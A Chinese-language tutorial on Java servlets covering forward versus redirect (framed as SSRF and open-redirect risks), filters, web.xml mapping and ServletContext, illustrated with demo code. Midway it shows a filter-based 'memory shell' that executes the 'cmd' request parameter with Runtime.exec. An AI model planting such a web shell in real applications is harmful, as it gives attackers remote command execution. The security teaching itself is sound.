其实关注点在于,
转发是指服务器请求另一个页面,将加载好的内容返回前端,
重定向是之客户端跳转的,客户端去加载另一个页面内容,
转发可控的话,可以造成ssrf
重定向可控的话,可以造成url跳转
两个函数,
客户端跳转
sendRedirect
服务器转发
getRequestDispatcher
场景,
直接访问main,判断当前的session是否有效,
有效则显示当前用户名,否则使用客户端重定向到登录页面。
登录页面,登录成功的话,服务端加载main内容,一起响应给前端
login.jsp
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<form action="/login" method="post">
账号:<input name="username" type="text"><br>
密码:<input name="password" type="text"><br>
<input type="submit" value="提交">
</form>
</body>
</html>
login.java
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.util.Map;
@WebServlet("/login")
public class login extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//⾸先设置⼀下响应类型
resp.setContentType("text/html");
resp.setCharacterEncoding("utf-8");
//获取POST请求携带的表单数据
Map<String, String[]> map = req.getParameterMap();
//判断表单是否完整
if(map.containsKey("username") && map.containsKey("password")) {
String username = req.getParameter("username"); //获取username值
String password = req.getParameter("password"); //获取password值
HttpSession session = req.getSession(); //创建session
if(username.equals("admin" )&& password.equals("123456")){ //判断账号和密码
session.setAttribute("user","admin"); //设置session值
resp.getWriter().write("登录成功!");
req.getRequestDispatcher("/main").forward(req,resp); //转发main⻚⾯
}else {
resp.getWriter().write("账号或密码不正确!");
}
}else {
resp.getWriter().write("错误,您的表单数据不完整!");
}
}
}
main.java
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/main")
public class main extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=utf-8");
resp.setCharacterEncoding("utf-8");
HttpSession session = req.getSession();
String user = (String)session.getAttribute("user");
if(user !=null){
resp.getWriter().write("欢迎" + user +"访问");
}else{
resp.sendRedirect("/login.jsp");
}
}
}
启动项目,未登录直接访问main
当前是未登录的状态,这里是客户端直接跳转到登录页面
可以看到,这个“登录成功”并没有返回,
而是直接返回了main的内容,
Filter过滤器是Servlet2.3中所提供的⼀个过滤请求与响应的对象。
Filter过滤器既可以对客户端向服务器端发送的请求进⾏过滤,
也可以对服务器端向客户端产⽣的响应进⾏过滤处理。
其实可以理解为开发的“burp”可以对请求包进行处理,也可以对返回数据包进行处理
注意的是,过滤器既可以对全部请求有效,也可以对特定请求量身定做规则。
具体如图,
在补充下,过滤器是可以组合使用的,即多次过滤,实现过滤器链 ,
如图,
场景:
正常访问会的话,假设不设置编码浏览器得到的数据是乱码。
我们先定义这样的两个页面test,test1(这两个java文件除了路由代码一致)
先使用过滤器仅仅处理test,使其返回正常;test1返回乱码。
成功之后,
在使用过滤器对全局生效,使得test、test1都返回正常,
test.java
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/test")
public class test extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("欢迎访问");
}
}
test1.java
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/test1")
public class test extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("欢迎访问");
}
}
filter.java
package com.example.demo;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpFilter;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebFilter("/test")
public class filter extends HttpFilter {
//@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
req.setCharacterEncoding("utf-8");
res.setCharacterEncoding("utf-8");
res.setContentType("text/html;charset=UTF-8");
chain.doFilter(req, res);
}
}
直接启动项目即可,
此时,修改filter.java的代码,改为全局过滤器
过滤器既可以在请求前处理,也可以在返回前处理,具体如何实现呢,
本质就是“ chain.doFilter(req, res); ”的前后问题。
在这个代码前的操作就是,请求前的处理。
在之后就是请求影响前的处理,
如图,
服务器在接受到前端的请求时,先打印111 、、类似bp拦截修改请求
然后执行正常的业务逻辑代码,打印222 、、
在响应返回前,打印333 、、类似bp拦截修改响应
注意的是filter文件之中必须有“ chain.doFilter(req, res); ”,
假设没有返回就会卡死,类似网站访问,类似burp开启了拦截一样,所有的请求都停下了
先说下正常的路由,
一般可以通过注解和配置web.xml配置。
同理,过滤器也可以
上边的场景都是通过类似注解的方式执行的,
下边我们使用web.xml(其实与路由的实现几乎一样)
注释掉filter.java文件中路由的解析,
在web.xml对仅仅对/test路由访问增加过滤器,
<filter>
<filter-name>FilterDemo</filter-name>
<filter-class>com.example.demo.filter</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterDemo</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
在说下内存马,含义不在赘述,
直接上代码,上边的都理解的话,这里就是秒懂,
修改下filter的注解,使其全局生效,然后添加命令执行的代码即可,
if(req.getParameter("cmd")!=null){
Runtime.getRuntime().exec(req.getParameter("cmd"));
}
当然,这种需要修改或者添加Filter⽂件上传到⽹站⽬录上⽽且容易被发现。
实际上可以通过反射动态注册Filter执⾏内存⻢,后续在说。
ServletContext全局唯⼀,它是属于整个Web应⽤程序的,
我们可以通过getServletContext()来获取到此对象。
在test.java中定义,
~第一次直接访问test1,此时没有访问test,故设置的全局变量未生效
故key1与key2都是null
而test就没有定义,所以会一直是null
~第二次先访问test,此时全局变量key1与key2生效
~然后在访问test1
此时就输出了key1与key2的值
package com.example.demo;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/test")
public class test extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("222");
resp.getWriter().write("欢迎访问");
ServletContext context = getServletContext();
context.setAttribute("key1", "1111");
context.setAttribute("key2", "2222");
//也可以这么直接设置
//getServletContext().setAttribute("key2", "2222");
}
}
test1.java
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/test1")
public class test1 extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println(getServletContext().getAttribute("test"));
System.out.println(getServletContext().getAttribute("key1"));
String key2 = (String)getServletContext().getAttribute("key2");
System.out.println(key2);
resp.getWriter().write("欢迎访问");
}
}